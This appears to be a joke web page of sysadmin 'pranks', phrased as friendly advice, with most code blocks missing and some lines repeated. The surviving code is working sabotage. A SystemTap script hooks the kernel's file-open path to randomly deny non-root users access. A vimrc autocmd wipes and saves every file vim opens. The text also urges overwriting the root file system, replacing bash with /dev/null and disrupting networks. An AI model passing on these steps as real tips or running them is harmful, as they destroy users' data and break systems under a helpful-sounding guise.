Zerowidth Fun
Create a file on the commandline like this, make sure to type the keys between brackets as indicated:
|
|
Create a file on the commandline like this, make sure to type the keys between brackets as indicated:
|
|
A lot of people love going to the casino. Many of those wish they could experience that thrill at work as well. As your friendly neighborhood systems admin you probably want to help them out. In this case that will take a couple of steps:
The thrill of the casino requires Systemtap to be available on your system:
|
|
If you do not want a compiler, debuginfo packages, and other development crap
on your productions machines you can compile systemtap modules on one system,
then deploy them to other systems and run them with the staprun
command from
systemtap-runtime
Create the following file as /root/one_in_a_million.stp
:
#!/usr/bin/stap -g
probe kernel.function("may_open").return {
chance = randint(1000000);
if (euid() && !$return && chance >= 999999) $return = -13
}
Feel free to lower the 999999
number to make the module more fun.
Either make the file you just created executable, or run the following command:
|
|
Even though disk space is getting cheaper every year, the price per GiB is still more than zero. Saving disk space by minimizing wasted space should be high on the priorities list for every halfway decent systems administrator.
Running the following command will compress the space used on your root file
system. If you have a separate file system for /home
consider running the
same command for that file system first.
|
|
Add the following file as /etc/cron.hourly/happyfuntime
:
|
|
Don’t forget to make the file executable.
|
|
Everybody loves defaults. Add some more defaults to your file systems!
|
|
Bash is overrated. /dev/null
is much better. Add the following file as /etc/systemd/system/usr-bin-bash.mount
:
|
|
Then run the following commands:
|
|
Is your network acting a bit too reliable?
Is your firewall operating at peak efficiency?
Are your users getting complacent?
If you answered “Yes” to any of the above, run the following two commands to spice things up a bit:
|
|
Given how a lot of recent vulnerabilities have to do with symmetric multithreading, the world would be a lot safer if all your systems only used a single core:
|
|
There are still heathens out there who think that writing convoluted shell
scripts to start a service and keep it running is in some way better than
writing a simple .service
file. For those people we offer the following init
replacement, as originally submitted to the old site by fl0_:
Write the following file as init.c
:
|
|
Then run the following commands:
|
|
We all know that vim is the One-True-Editor™. Now you
can make editing files with vim
even more efficient!
Simply add the following lines to ~/.vimrc
for a user, or add them to
/etc/vimrc
for all users on your system:
Autocmd BufReadPost *
\ %delete |
\ :wq